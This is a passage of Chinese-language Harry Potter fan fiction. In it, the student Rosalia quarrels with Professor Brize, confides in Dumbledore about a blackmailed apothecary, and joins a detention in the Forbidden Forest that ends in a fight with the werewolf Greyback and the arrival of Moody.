这关莱姆斯什么事?罗萨利亚皱着眉头,想要解释。可卢平已经非常快地认错了:“对不起,教授。”
“我说了,‘对不起’解决不了任何事,”布瑞兹直接道,“你们两个,下课留堂。”
罗萨利亚终于忍不住瞪了布瑞兹,后者当然看见了,她冷冷地转过身,朝关着卡巴的水箱走去,说:“拉文谢德小姐,你是不是觉得犯错没什么大不了的,还可以改正?可实际上,错误一旦发生就会被永远留在过去,人们从没有修改它的机会——就跟你总想假装那件巫师袍与你无关,可实际上——”
“可实际上您没有证据,教授。”罗萨利亚也冷冷地道:“您一直在污蔑我,从去年一直说到现在。”
“污蔑你?”布瑞兹整理水箱的动作停了下来:“你心里清楚!”
“我不清楚。”
“你非要我说出来?”
“我很好奇您会说什么。”
“那好,”布瑞兹把拴住卡巴的铁链抛到水箱上,气势汹汹地逼近她,“我告诉你,你犯了什么错误,你以为自己天衣无缝,但是,闻闻自己身上的味道吧,拉文谢德小姐,你的玫瑰香——”
“咣——哗啦——”
水箱在锁链的摇曳下轰然倾倒。卡巴摔在地上,又爬起来挥舞着双手向学生们奔去。整个教室立刻开始放声尖叫,黄瓜到处乱飞。
“所有人退后——”布瑞兹大喊。
但卡巴正在朝她和罗萨利亚的方向奔来。她掏出了魔杖,想要释放咒语,谁知红橡木魔杖只在杖尖迸发出一点火星就没了动静。
罗萨利亚也拿起魔杖对准卡巴,可这时身后忽然传来一股力量直接把她推倒了。
她只来得及匆匆一瞥——是诺特那个该死的……
“罗萨小心——”莉莉喊道。
“立刻鞠躬——”一声大喝紧接着传来。
卡巴突然停了下来,变得僵硬异常,它尖叫着缓缓弯下自己的腰,在挣扎中将自己头上空洞里的水倒了个干净,然后力竭似的一下子倒在了地上。
斯内普站在教室中央,手里高举着紫杉木魔杖,他周围十步之内都没有其他学生。
一片寂静。布瑞兹的表情从错愕变成了前所未见的严肃:“你刚刚用了什么咒语?”
斯内普抿着嘴唇,把魔杖背到身后,一言不发。
“……我想任何一位教授都不会教这样的咒语。”布瑞兹厉声说:“斯内普先生,我得把这件事告诉邓布利多教授!”
“那你最好跟邓布利多教授说清楚事情的前因后果。”罗萨利亚从地上爬起来,指着水箱说:“是你操作不当在先,导致卡巴跑了出来。这让西弗勒斯不得不用魔咒阻止更糟的事情发生!另外,还有——”
她猛地回头,拿魔杖指向角落里正和几个斯莱特林偷笑的诺特,“变公鸡!”
下一秒,一只绿毛公鸡出现在了地板上,开始惊恐地大叫、乱飞。
“咯咯咯咯———咯咯!”
罗萨利亚:“活该。”
“……罗萨利亚·拉文谢德!”在新的混乱里,布瑞兹吸足了气大声咆哮。天花板上回荡着她愤怒的嗓音。
她宣布道:“你也跟我去见邓布利多——”
“蒲公英果汁!”
布瑞兹不耐烦地等待石兽跳开,几乎是楼梯在显形的同时,就抬脚迈了上去。她拉开栎木门,高声道:“邓布利多教授——”
邓布利多教授将脑袋从一本魁地奇赛事杂志里抬起来。
布瑞兹炮仗似的开始讲述来龙去脉,指头从罗萨利亚头顶戳到了卢平的额头上,还差点打到斯内普的鼻梁,在她被罗萨利亚打断指出教学事故时,墙壁上一位校长的画像还短暂地睁开过眼睛——简而言之,一场淋漓尽致的告状。
邓布利多听着,眼睛只在斯内普身上稍作停留,随后就看向布瑞兹,简短地问道:“你希望他们得到什么样的惩罚呢?布瑞兹教授?”
布瑞兹起伏的胸膛终于平复了几分,她盯着罗萨利亚,像是想到了什么,说:“邓布利多教授,您说过会让拉文谢德小姐补上之前的禁闭,现在都已经是二月中旬了!”
罗萨利亚听着,忽然有种不好的预感。
“你打算让拉文谢德小姐关禁闭?”邓布利多问,他的语气似乎在说这没什么大不了。
“严格来说,我认为是时候让她再去一趟禁林了。”布瑞兹教授严肃地说:“还有旁边这两个小子,他们俩也去。”
“但是狼人的事还没结束吧?”罗萨利亚立刻说:“禁林现在应该还很危险,邓布利多教授,您说是不是?”
斯内普和卢平同时看向她。他们显然不太清楚她在说什么。
然而布瑞兹很明白,她挑着眉头问:“原来你还知道害怕狼人?我看你巴不得去禁林里和狼人做朋友(卢平的嘴巴瞬间抿了起来)!邓布利多教授,您记得我那天上午告诉您的话吧——”
邓布利多将手轻轻抬了起来:“我记忆力一直蛮好的,布瑞兹教授,我认为……”
“请原谅我,教授,”布瑞兹打断了他,“我认为魔法部的几次清扫已经足够了。现在又并非满月前后。如果您实在担心,我可以带他们三个人完成这次禁闭。”
邓布利多看上去有些吃惊:“你愿意带他们去禁林?”
“没错。”布瑞兹坚定地说。
静默片刻,邓布利多缓缓道:“既然你非常坚持,布瑞兹教授,我想今天晚些时候再给你答复。稍等一段时间,对你来说应该不是什么难事,对吧?”
“……好吧。”布瑞兹嘴角像缀了两颗铁球。
“那么现在,你可以带着卢平先生、斯内普先生去礼堂用餐了,布瑞兹教授。”邓布利多的双手扣在了一起,蓝眼睛在半月形镜片后闪烁,道:“至于拉文谢德小姐,我想单独和你聊聊。”
听到邓布利多这话,卢平转过头,想要看一眼罗萨利亚,然而布瑞兹的袍子马上把他的视线隔断了。
“您可一定要跟拉文谢德小姐好好聊聊,教授。”她板着脸将栎木门敞开,示意两个学生跟上。斯内普很快就迈开脚步,卢平见状,只好也转过身去。
楼梯平稳地旋转,卢平抿着嘴,目光情不自禁地落到一旁的斯内普身上,可还没等他产生什么念头,后者的视线就迅速地剜了过来。他发誓自己从那双黑漆漆的眼睛里看到了厌恶。
“上次也是你害的,我说的对吗?”斯内普突然开口了。
“什么?”卢平问。可紧接着,对方吐出的话令他僵住了:“那只白鼬。”
卢平大脑空白地看着斯内普,他明白了,可又不明白对方是怎么联想到自己的。哑然成了轻蔑的养料。斯内普审视着他的脸色,用一种明了的、充满讥讽的耳语说:
“继续装作什么也不知道吧,这毕竟是你为数不多擅长的事。”
布瑞兹压着眉头,回头瞥了两个男孩一眼,又什么也没说地把脸摆正了。
墙壁在几人面前打开的一瞬间,两道声音就穿透进来:“莱姆斯!”
卢平错愕地抬头,只见詹姆、小天狼星和彼得正站在石兽左侧,而他们对面还有一人:竟然是莉莉。他正愣神,就被詹姆一把抓过去揽住,而斯内普则在四人的注视下径直走向莉莉。
“布瑞兹教授,中午好。”莉莉说。
“你们几个不去吃饭在这儿干什么?”布瑞兹道:“都在等拉文谢德小姐?”
“我们三个等的是莱姆斯。”詹姆的鼻子发出一缕极小的哼气声,他先瞧了眼布瑞兹,又撇嘴看向斯内普和莉莉:“谁要等那个撒谎精。”
莉莉厌烦地叫道:“波——特——”
“走吧——詹姆——”小天狼星打断了莉莉,学她拖着长音说。说完,他又斜睨向正在闭合的墙壁:“别一会儿真把人等来了,我可不愿意看见她。”
“撒谎精?你们说的是拉文谢德小姐?”布瑞兹忽然道:“这是谁给她起的绰号?”
詹姆、小天狼星、卢平和彼得同时感觉到一丝不对,齐齐噤了声。
“不回答是吗?”布瑞兹眯起眼睛:“从格兰芬多扣掉二十分——一人五分。”
四人脸上都露出了不可思议的表情。詹姆脱口而出:“为什么?”
“‘为什么’?”布瑞兹甩着那根红橡木魔杖,冷笑道:“为你刚才心存的一丝侥幸,波特先生。你以为我会因为涉及拉文谢德小姐就视而不见(一旁的斯内普毫不掩饰恶意地笑了)?这还没完。拉文克劳、斯莱特林、格兰芬多各扣十分——这是针对课堂的惩罚。”
看到几个孩子的脸色都变白了,她才舒心了一般,把那根魔杖收起来了,慢慢道:“现在,都去吃饭吧。”
“坐吧,拉文谢德小姐。”
迎
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着邓布利多友善的目光,罗萨利亚顺从地坐到椅子上,笑着说:“这都是我第四次来您办公室啦,邓布利多教授。”
“唔,是吗,这也算一种奇妙的缘分。”邓布利多愉快地说。
“只可惜,每次来都是因为我惹了事。”罗萨利亚半开玩笑地道。
“但和你聊天,总能发现些新东西,拉文谢德小姐。”邓布利多道:“我还挺享受这一点的。”
“正巧,我现在也有些新发现想告诉您呢,只是它的前因后果可能有点长。”罗萨利亚轻声道。
“我洗耳恭听。”邓布利多道。
“您一定记得欢欣剂的事情,”罗萨利亚望着邓布利多银花花的眉毛,平静地说:“那时您问我,西弗勒斯是从哪儿弄来改良欢欣剂的材料的,我没有回答。其实——您可能也猜到了——那确实是我替他搞来的。”
邓布利多微笑着注视她。
“西弗勒斯很喜欢研究魔药,他妈妈也一直在照顾我,我很想为他做点什么。”罗萨利亚道:“所以,当我得知霍格莫德有皮聘魔药店的分店后,就拜托当时的赫奇帕奇级长泰德·唐克斯代购了一些药材,又找借口塞给了西弗勒斯,这才有了改良版欢欣剂。”
“我当时没有回答您,其实是因为它牵扯到了唐克斯,您看,他和卢多·巴格曼一样来自赫奇帕奇,而且还是一个高年级学生……他不是那种人,可如果我说出原委,一定会给他添不少麻烦,我本就一直在麻烦他了……”
“我非常理解。”邓布利多道。
“上二年级后,我就开始学着自己跟皮聘魔药店的老板订货。信使邮递。一来二去也有了些交情。”罗萨利亚的神色凝重起来:“然而,从去年十一月起,我就忽然联系不上他了。”
“一开始,因为没有赊欠,我并未当回事。可后来我又写信订购,却还是没得到回信。直到圣诞节,我忽然收到了皮聘先生的字条,他说——他被狼人要挟了。”
邓布利多直起身体,他衣领上的流苏从桌上滑了下去。
罗萨利亚面上流露出几分恐惧:“皮聘先生说,有一个受了重伤的狼人,男的,从十月末开始就一直在向他勒索药剂,他的家人也受到了威胁。而我刚看完,那字条就自己烧毁了——我感到很害怕、我不确定……”
她深吸一口气:“我不明白他为什么要向我求助,也不知道该怎么办,也许收到纸条的不止我一个,不管这事也可以。但是——我还是无法说服自己:万一呢,万一就我自己知道这件事呢。布瑞兹教授批评我上课走神,其实我是在想这件事,可现在又过去两个月了,我很担心……教授,您能帮帮皮聘先生吗?”
“我会的。放松一些,拉文谢德小姐。”邓布利多温和而严峻地说:“把这件事说出来无疑需要勇气,你还知道更多细节吗?”
“……就这么多了,教授。”罗萨利亚歉疚地说完,又立刻道:“再就是,一些我自己的思考,不知道有没有用……”
“请说吧,小姐。”
“就是——您不觉得奇怪吗?”她欲言又止地掰着指头:“那狼人受了伤,魔法部又多次来往禁林与霍格莫德,他怎么敢、他为什么还不离去呢?皮聘老板说,对方是十月底找上门的,也就是在魔法部抓获那晚的狼人之后的事,这会是巧合吗?您之前说,逗留在禁林中的狼人已经得到了魔法部的安置,但是——我并非质疑您的话,但是,禁林的情况真的变得可控了吗?”
邓布利多平静地问:“你心里有这些疑问的答案吗?”
罗萨利亚回答:“我还没想明白。”
“但我认为你已经很接近了,拉文谢德小姐。”邓布利多耐心地说:“好好回想自己说的话,比如——皮聘先生为什么选择向你求助呢?仔细思考这一点。”
罗萨利亚盯着自己的手指不动了。
……皮聘为什么向她求助?这就是她编造的一个一戳击破的谎言罢了,哪有什么为什么?还是说,邓布利多希望自己给出更合理的解释?比如,皮聘明明有送出纸条的机会,为什么不向更权威可靠的——
忽然,罗萨利亚眨了眨眼睛。
……魔法部?
——魔法部?
【……魔法部的人来过霍格莫德,小店接受了他们的审查……哼,一些药材就那么没了,蛇鼠一窝的东西……】
蛇鼠一窝……
老皮聘的抱怨还在耳边回响,罗萨利亚缓缓把头抬了起来,看向邓布利多那双冷静的眼睛,魔法部过往的每一环动作在她脑中穿梭而过。
她心道:
这是因为——魔法部,本就不可靠啊。
56. 再探禁林(上)
“铃铃铃……”
“清洁完坩埚,你们就可以回去——他们怎么跑这么快?”
斯拉格霍恩吃惊地看着三个身影窜出了教室。而他一愣神的功夫,莉莉也已经收拾好书包了。
“今天是周三,我没记错吧——莉莉,我想魁地奇选拔无论如何也不可能在情人节举办?而且我还看到了西弗勒斯——”
“这次和魁地奇没关系,教授。”莉莉匆匆地说:“事情有点说来话长了!”
“拉文谢德和那个混血被关禁闭了,院长。”诺特幸灾乐祸地说:“他们赶着去禁林,布瑞兹教授要求他们四点之前到。还有那个丑八怪的格兰芬多也会一起——”
他话音还没落,三道龙卷风就从他背后刮了过去。一股哗啦啦的冷水从天而降,龙卷风们喊着“帮你洗洗坩埚,零蛋(Nought)”就消失在了门口。(1)
“啊啊啊啊——”湿透了的诺特大叫起来。
斯拉格霍恩嫌弃地瞟他一眼。
看到这幕,莉莉的嘴角轻微扬起,紧接着又摇摇头翻了一个白眼。她对斯拉格霍恩说:“教授,我先走了!我也打算去禁林外等他们!”
“好吧。”斯拉格霍恩道:“祝他们一路顺风!”
罗萨利亚觉得自己确实需要“一路顺风”的祝福——尽管现在她回禁林比回拉文谢德堡还勤快。
但这一次,情况完全不同,又或者说,事情还是演变成了现在这副鬼样子:费伦泽在前方带路,海格和布瑞兹隔着一条河那么宽的距离走在两边,卢平和斯内普跟在她本人身旁一言不发。尖尖吐着舌头安静地在他们之间来回打转,穆宁则一直踩在狗头上。
他们的任务非常特殊——搜寻那只受伤的狼人的踪迹。
邓布利多宣布这个决定的时候,罗萨利亚有一瞬间想直接大喊:“那狼人很可能是芬里尔·格雷伯克!臭名昭著的那个!”
但她只能打碎了牙往肚子里咽。
“海格、布瑞兹教授以及费伦泽会确保你们的安全。我已经向他们充分说明了情况。你们要做的,就是跟紧他们。”邓布利多看上去一点儿也不担心。这也不奇怪,毕竟他也未必知道他们到底要面对什么。
罗萨利亚只能希望他的这种乐观态度真的能带来乐观的结果。
这么想着,她伸手探入巫师袍下,摸了摸挂在自己后背的东西。
“差不多就是这个位置。”费伦泽的蹄子在地面踏了踏,接着继续往前走,说道:“昨天我和罗南、贝恩他们已经来看过一回了。邓布利多说的没错,即使是这么近的地方,也有不太寻常的动物尸体。”
“那个狼人太猖狂了。”海格摸着石弓说。
“他一定是出于什么目的。”布瑞兹沉沉地说着,回过头睨了一眼罗萨利亚,道:“一定是有什么吸引了他。如果只是为了搜罗同类,他没必要跑到离学校这么近的地方。你说是不是,拉文谢德小姐?”
罗萨利亚还没来得及说什么,斯内普已经先一步挡在她身前,还把刚准备凑过来的卢平挤到了一边。与此同时,海格也道:“这跟罗塞拉有什么关系?邓布利多教授早叫你不要谈论那件袍子的事情了。”
布瑞兹见状,嘴角又抽动起来,但她很快瞄到了别的东西,没再揪着罗萨利亚不放。可她的动作马上又引起了海格的注意,他喊道:“你干什么?”
布瑞兹从地上捻起一抹蛛丝,不耐烦地说:“这边有一条小路。我认为我们可以分头行动。”
海格紧张地往小路看去,声音微弱:“分头行动?邓布利多叫我们一起——”
“那我们就先往这儿走,这边很显然是藏身的好去处。”
“那边绝没有什么能让狼人藏身的地方——”
“海格,”布瑞兹像出了一口恶气似的说,“你别忘了,这一次邓布利多指定的队长是我,你得听我的话。”
海格忿忿地改了口:“那——那我们——还是分头行动吧,毕竟天黑之前我们得回去……”说着,他往罗萨利亚身边凑过来,低声问:“罗塞拉,你怕蜘蛛吗?”
罗萨利亚瞬间明白那条小路是通往哪里的了。她说:“我不怕。”
海格高兴地宣布:“我可以和罗塞拉去那边!”
布瑞兹不高兴地说:“不行,拉文谢德得跟着我,我可不想让她再闯出什么祸来。”
卢平突然开口:“我可以和海格去。”
“轮不到你来决定这个,卢平先生。”布瑞兹不给面子地说,这让卢平的嘴抿得更紧了——他从得知任务起就一直脸色苍白。她安排道:“斯内普先生,你来跟着海格。费伦泽,你来负责卢平先生。就这么定了。”
于是,罗萨利亚又听见海格小声地、有点犹豫地问斯内普:“呃……西弗勒斯?你怕蜘蛛吗?”
就这样,尖尖跟着海格和斯内普前往密林,而穆宁飞回了罗萨利亚肩头。随着深入,六个人的队伍最终兵分三路。
布瑞兹一言不发地在林间穿梭,罗萨利亚安静地跟在她身后。蝙蝠从头顶滑翔而过,沉默没有在两人之间存活太久。布瑞兹开始了,语气咄咄逼人:“拉文谢德小姐,你还没回答我之前的问题,你觉得那晚到底是什么吸引了狼人?”
罗萨利亚敷衍地装着糊涂道:“我怎么知道?没准他就是格外喜欢小孩,所以故意挑了个离学校很近的地方变身?”
“……你是说他有预谋地要咬未成年学生?”布瑞兹显然没想到她会这么说,直接被这话恶心地呲起了牙:“但是没有学生会到禁林里去——学生,是不被允许夜游的,拉文谢德小姐。用不着我提醒你这点吧?”她再次重申:“无论是谁,都没有正当理由在满月的晚上跑去禁林!”
罗萨利亚的眉头突然压了下来。
布瑞兹回过脑袋,没好气地说:“难道我说的不对?你——请你跟紧我,拉文谢德小姐,不要莫名其妙停下来,别告诉我你又在走神——你知不知道,走神是很危险的——”
“您说的对。”
布瑞兹听到喃喃的声音从罗萨利亚口中传出:“只有一种人会在满月的晚上跑去禁林,那就是狼人……这就是他当时会在那么近的地方活动的原因……他以为能在学校附近的禁林里找到他?难道……魔法部登记……有人泄漏了他的入学信息……?”
“我一个字都没听懂。”布瑞兹皱起眉。
“教授,”罗萨利亚认真地说,“我觉得我们得去和莱姆斯·卢平会合。邓布利多说的对,我们不应该分头行动——”“布瑞兹教授。”
一阵蹄踏声从远处传来。费伦泽跨过灌木丛突然出现了:“真幸运,我找到你们了——”
可布瑞兹的面色变了:“你怎么单独——你把学生弄哪儿去了?”
“他很安全。我的同伴罗南、贝恩来了,现在正和他待在一起。”费伦泽有些不悦,说道:“我刚要通知你这件事——”
“我们找到了那只狼人。”
罗萨利亚和布瑞兹赶到时,两只马人正手持武器,围着空地上一团又黑又脏的东西转圈。在他们几丈远处一棵粗壮的柏树下,卢平攥着魔杖,怔怔地望向中间。
布瑞兹直接冲了过去:“速速禁锢——”
红橡木魔杖发出了“啵”的一声,但好歹是成功变出了一条长绳,将地上的男人捆住了。那男人马上发出惨叫:“别杀我——”
这动静让罗萨利亚有一瞬间感到困惑。她往前走了几步,想要确认那人的相貌,然而马上就被布瑞兹吼了:“你去和卢平待在一起,拉文谢德!”
卢平同时向她投来一个略带恳求的目光。
罗萨利亚只好走了过去:“你没事吧,莱姆斯。”
“我没事……”他说,“我们刚走没多远,就碰到他了……费伦泽说他很符合邓布利多描述的那只狼人的形象。”
罗萨利亚顺着卢平的视线看去:布瑞兹正举着魔杖质
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问对方,言辞异常激烈;可男人一直唯唯诺诺,仿佛十分软弱。她毫不犹豫地施展摄神取念,马上确定了对方的身份——他就是芬里尔·格雷伯克。
她又略微动了动心神,将对方这数个月来的行径全看了个遍。在确认了自己前后的那些推测以及老皮聘还活着的事实后,罗萨利亚发出了一声冷笑:“我看他也是。”
现在装无辜装得倒是挺好。
卢平的面色白得有些发青了:“但是他看起来很……他说他今天才刚刚到禁林里来,因为三天后是满月。”
罗萨利亚看了卢平一眼,问:“还有呢?”
“他说他没有伤害过人,是人们一直在伤害他,还向我们展示了肩膀上被银器所刺的伤口。罗萨利亚,他伤势很重,几乎跑不起来,而且他连魔杖都没有。”卢平的蓝眼睛闪烁着,他似乎在乞求她能说点什么。
“你知道他是谁吗?”罗萨利亚只是问。
“他是一个狼人……”
“我是说他的名字、他的来历。”
“……我不知道。”卢平低声道。与此同时,布瑞兹在那边大骂了一句脏话,把三只马人惊得原地踱了几步。而罗萨利亚盯着卢平,脑子里想的却是邓布利多。
她似乎明白邓布利多为什么会让“罪行”最轻的卢平也跟着来禁林了。
“那就别轻易可怜他,莱姆斯。”罗萨利亚注视着卢平,意有所指地说:“有的人展露伤疤,不是想让你拉他一把,而是想趁你靠近,把你也拽下来陪他”
但卢平只是露出了脆弱的神情。
“跟这种无赖说话简直白费口舌!”布瑞兹暴躁抓起地上的绳子,扯着格雷伯克站起来。费伦泽见她要走,立刻上前几步:“飞贼在你那里,教授。别忘了通知——”
“我知道。”布瑞兹又一次打断了他。她从怀里掏出一个长得很像金色飞贼的东西,将它放飞出去,道:“接下来我会负责,你们可以走了。”
费伦泽与罗南、贝恩交换了一个不太愉悦的眼神,随后什么也没说就踏着枯枝落叶离开了。
“我真的不知道你们在说什么……我是无辜的。”
“我伤得很重,可以走慢一点吗?我很疼……”
“孩子们,你们一定是相信我的,对吗?”
“闭上嘴,你这无耻的狼人!”布瑞兹道。
卢平瑟缩了一下。
罗萨利亚时不时往身后望去——他们已经路过了不久前与海格、斯内普分开的那条密林小径。布瑞兹并没有停下来等待,她表示押送狼人才是第一要紧的。
尽管有海格在,她还是忍不住担心斯内普。那毕竟是八眼巨蛛……但愿他们没事。
一扭过头,她又正好对上格雷伯克的视线,罗萨利亚确信自己从对方眼睛里看到了一抹来不及收回的憎恶。
离开了增龄剂,格雷伯克估计已经认出她就是那晚给了他一刀的“小孩”了吧。罗萨利亚打量他裸露的伤势:其实已经有愈合的迹象了。尽管老皮聘竭力拖延,但最终还是为了自己和家人,想办法弄来了乌头——这是她摄神取念看到的。
格雷伯克移开视线,转而去盯着卢平,他咧开了那张嘴角生满口疮的嘴,低声说:“我是走投无路才来这里的,没人理解一头狼人的感受……孩子,你看着那么面善,你相信我是无辜的吗?”
卢平哑着声音:“我……”
“他不会理解你的。”不等布瑞兹说话,罗萨利亚就先一步开口:“他跟你完全不一样。”
“你怎么知道他不一样呢?”格雷伯克说道:“你怎么能肯定他不理解我呢?”
“安静——我说安静!”布瑞兹忍无可忍,抬腿便往格雷伯克后背上踹去。
然而,就是这动作让一截树枝挂住了她的巫师袍,布瑞兹一脚将格雷伯克蹬了出去,自己也栽倒在地。
又是“啵”地一声。
这一次,狼人身上的绳子断了。
57. 再探禁林(下)
卢平觉得眼前的一切都被施加了冰冻咒,变得缓慢异常。
渡鸦在大叫。他看到狼人忽然露出腥臭的尖牙,越过他朝罗萨利亚扑去。而罗萨利亚——她反应真快,举起了魔杖,同时将手伸向背后想要掏出什么。可还不等她念出咒语,布瑞兹就从地上跳起来,把她推到了一边。
然后又发生了什么?
狼人一口咬在了布瑞兹的手臂上。两个人因为缠斗,被迫沿着土坡翻滚出去,直到撞上树桩才停下来。一只怀表掉在半路,七零八落地散架在枯叶里,沾着血——不知道是哪一方的。卢平看到罗萨利亚从地上爬起来了,举着魔杖朝布瑞兹和狼人所在方向跑去。
“罗萨利亚——”他喊道。
“唇舌无踪!”罗萨利亚喊道。
“倏”地一下,狼人的嘴消失了。但是他并没有放弃攻击,依然死死地掐着布瑞兹的喉咙,看上去就像要把她活活掐死。布瑞兹试图挥舞魔杖,但是那根红橡木一点儿也不听她的话。
“罗萨利亚,快回来!”卢平握着魔杖的手有些颤抖,他想要抬腿去追,却仿佛被格林迪洛抓住了脚踝,只能站在原地无助地喊着:“别过去!别过去!”
可罗萨利亚像是完全没听到他的呼唤,举着一道凛凛的白光就朝狼人奔去。狼人似乎察觉到了危险,顷刻调转了攻击的目标。与此同时,穆宁冲了上去,挡住了狼人的视野。
一切都在须臾之间。卢平看到罗萨利亚将白光刺入了狼人的胸膛,将他捅了个对穿。血飞溅出来。
“除你武器!”
一声粗犷的大喝突然传来。
卢平一哆嗦,朝身后看去。三个陌生的成年巫师正从飞天扫帚上下来。为首的男人举着魔杖,脸像被刀砍过又被针缝过,透着一股凶狠劲儿。
他的魔咒击中了罗萨利亚,但没有造成什么伤害,女孩只是触电般撒开银剑,跌坐到一边去了。
“速速禁锢!”
男人的两个同伴将被捆住的狼人遏制住了,又或者说,那狼人现在已经完全丧失反抗的能力了。
“你干了什么?”男人过来了,咆哮着:“你们从哪儿弄来的银剑?”
“快!先把他胸口的剑拔出来——有药吗?什么都好、先给他止血——速度快一点,别让他死了——莱莉·布瑞兹!”
男人恼怒地质问道:“邓布利多没跟你强调放完飞贼要带着学生撤离到安全的地方吗?还有一个呢?”
“在——咳咳——”
布瑞兹想要开口说话,可她被掐得太厉害了,只能吐出一连串猛烈的咳嗽声。
“在海格那儿。他应该是安全的。”
男人转过脑袋看向声音来处,那幅面孔令卢平以为他马上要攻击罗萨利亚。可对方只是伸出崎岖的手把人拉了起来,用隆隆的声音说道:“那个小恶咒,是你施的?”(1)
罗萨利亚半边脸都是血,平静地说:“是我。”她感觉自己的心脏正在胸腔里狂跳。这男人的面相——他该不会是……这个时候,他的五官和四肢还是健全的……
“这倒给我省事了。”男人的嘴巴歪斜了一下:“去见克劳奇之前,就让他这么闭着嘴吧。”说着,他从另一个巫师手里接过银剑,对着上面发臭的血迹“啧”了一声。
“我是为了自救。”想着男人可能的身份,罗萨利亚不禁解释了一句。
“我能看出来。”男人干脆地说。他的目光在她和银剑之间转了一圈:“纯银的。你是特意为这次行动准备的?这玩意儿可不好搞——但我恐怕得带走它。”
罗萨利亚道:“邓布利多教授要我们追踪狼人的踪迹。我就想着预防万一。”
“邓布利多可没打算让三个二年级的孩子来对付狼人。”男人的目光扫过在场的成年巫师,意思很明显:他们才是来干这活儿的人。
“在我看来,他差不多就是这个意思吧。”罗萨利亚想着那个金色飞贼般的传讯器,有些冷淡地说:“他也没说过你们会来。”
这话里的怨气令男人的眉毛挑高了,他努起嘴还想要说什么,但布瑞兹在这时候找回了自己的声音,微弱地开口道:“穆迪……那个狼人……”
……果然是他。罗萨利亚心想。
“芬里尔·格雷伯克。”穆迪道:“你知道他是谁吗?(布瑞兹看起来要作解释)专挑小孩儿下口的狼人、组织狼人袭击的头领——你还敢擅自行动,带着两个孩子押送他?你的任务是确认踪迹,不是抓捕犯人!你该庆幸,他的手下因为嫌累赘而抛弃了他——我们在霍格莫德附近抓住了他们。否则你们就危险了!”
布瑞兹的面色是从未有过的煞白。
“什么叫……专挑小孩儿下口?”这时,卢平忽然开口了。他的脸色比起布瑞兹也好不到哪儿去。
穆迪瞧他一眼,说道:“很不可置信是吧?但他可是个惯犯——七、八年前本有机会抓住他的……但当时只有一个人坚称他有问题。”
“这个人是谁?”罗萨利亚看着卢平问。
穆迪道:“一个叫莱尔·卢平的家伙。”说完,他抬起手,重重地拍了拍卢平的肩膀,又转向布瑞兹,语气好歹平静下来了:“我想你还能走,对吧?你能撑到回去吗?”
“我能。”布瑞兹说。她迟缓地把那根没用的红橡木魔杖收回怀里,旋即动作一顿,手开始在身上摸索,变得如同遗失了什么重要的东西那样急促。
罗萨利亚见状,转身朝一堆落叶跑去。布瑞兹的怀表正躺在那里,并且已经散架。
她蹲下身体,回头看了卢平一眼,喊道:“莱姆斯,你能过来帮我吗?”
卢平这才如梦方醒般晃了晃身体,僵硬地朝她走来。可没走几步,他的神情又变得有些崩溃,怎么也不肯挪动了。他干巴巴地问:“你受伤了吗?”
他的声音很小,几乎被穆迪和其他人的交谈声盖了过去。
罗萨利亚抬手擦了擦脸上的血渍:“我一点事儿也没有。你呢,也还好吧?”
“我——还好……”卢平一顿,接着说:“对不起。”
“什么?”
“我不该可怜那个狼人。我以为——他干过那么多坏事,他还要攻击你……”他喑哑地说:“我居然同情了——”
“好了,莱姆斯。”罗萨利亚打断他,说:“到我这里来。就现在。”
她让自己的语气带上了几分强硬,卢平这才慢慢挪过来,缩在了地上。
罗萨利亚说:“你还记得我不久前说了什么吗?”
卢平茫然地看着她。
“我说,你和那个人完全不一样。”罗萨利亚耐心地道:“莱姆斯,你善良、有同情心,这是使你们不同的关键。你只是需要学习怎么更好地发挥这个优点。明白?”
“……明白了。”卢平呆呆地说,说完,他又像是意识到什么一样,问:“你是不是知道——”
“现在帮我找零件。”
“哦……”
卢平抿紧嘴唇,努力地摸索地面,试图帮上一些忙。天遂人愿,他很快找到了半个表盘。
他把它拿起来,递给罗萨利亚,可就在交接的瞬间,一块折叠的纸片从表盘后面落了下来,弹到地上像一朵花那样绽开了。
罗萨利亚把它捡起来,发现所谓的纸片其实是一张剪裁过的魔法相片报纸。在那上面,布瑞兹被好几个巫师簇拥在前得意地笑着,他们所有人身穿相同的着装,手持魔杖摆出高山的形状。
也许罗萨利亚不该多看,但一个细节让她无法移开眼睛——不知道为什么,在这张老相片里,布瑞兹拿着的是一根红橡木魔杖。
而卢平也像是注意到什么,喃喃地念道:“巨人驱逐运动组织成员合照——”
下一秒,一只染血的手猛地出现在两个人视野里,把怀表零件和相片都抢了过去。
罗萨利亚抬起头,正对上布瑞兹愤怒的双眼——她又开始了。只瞪她不瞪卢平。
可兴许是因为罗萨利亚刚为救她捅了狼人,布瑞兹并没有说出什么“拉文克劳扣十分”的话——她只是盯着她,显得那么僵硬而压抑,最后什么也没说地把怀表和相片塞进兜里,和那根红橡木魔杖放到一块儿。
她独自站起来,头也不回地朝霍格沃茨的方向走去。
卢平把罗萨利亚从地上拉了起来。
“天啊——天啊!梅林的胡子!这怎么有一大摊血啊?”
这时候,熟悉的、不敢相信的声音从所有人背后咆哮起来。
穆迪追着声音回过头去,“嗯”了一声:“海格,你来得正好——这下人齐了,你来带三个孩子回去吧,我想布瑞兹是指望不上了——我们几个要先带狼人走。”他指了指远处的飞天扫帚。几个巫师正把狼人绑到上面。
罗萨利亚远远地就看见了斯内普——他头上怎么缠着蜘蛛网啊。可她还没来得及笑一笑,斯内普就先阴着脸朝她跑了过来。
看表情,罗萨利亚还以为他要说什么刻薄话来教训她。可斯内普最终只说了六个字:
“怎么这么多血?”
“没有一滴是我的。”罗萨利亚咧开嘴——脸有点僵硬,上面的血一定是凝固了——她长长地抱怨说:
“真是累死我了,西弗。”
“啊,现在飞天扫帚又飞走了。哦嚯,上面还绑了个人呢!这就是那个狼人?”
“詹姆,快把望远镜拿给我看看!”
“我也想看……”
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“莉莉——”
一个声音从坡上滚下来。小天狼星回过头去——又马上假装自己根本没做过这个动作。詹姆则在一旁干瞪着眼睛。
“雷古勒斯!”本来面朝禁林方向坐着的莉莉从地上爬了起来,拍拍袍子上的草碎:“你怎么来了?你们下课了吗?”
“刚下课。我看西弗勒斯不在,”雷古勒斯喘息,眼睛往小天狼星背后瞟了一眼,又若无其事地说,“就稍微打听了一下。罗萨利亚现在也在里面吗?”
“是啊。”莉莉蹙眉说:“他们还没出来呢,太阳都快下山了。”
雷古勒斯抿了抿嘴,把怀里的阿黑放到地上,抽出魔杖抬腿就往禁林里走。
“喂,你干什么——?”“布莱克先生。”
一个有些苍老的声音呼唤道。小天狼星和雷古勒斯同时回头,地上的阿黑也转过了脑袋,朝着来人踱去。
“……邓布利多校长?”小天狼星道:“您为什么会来这儿?”
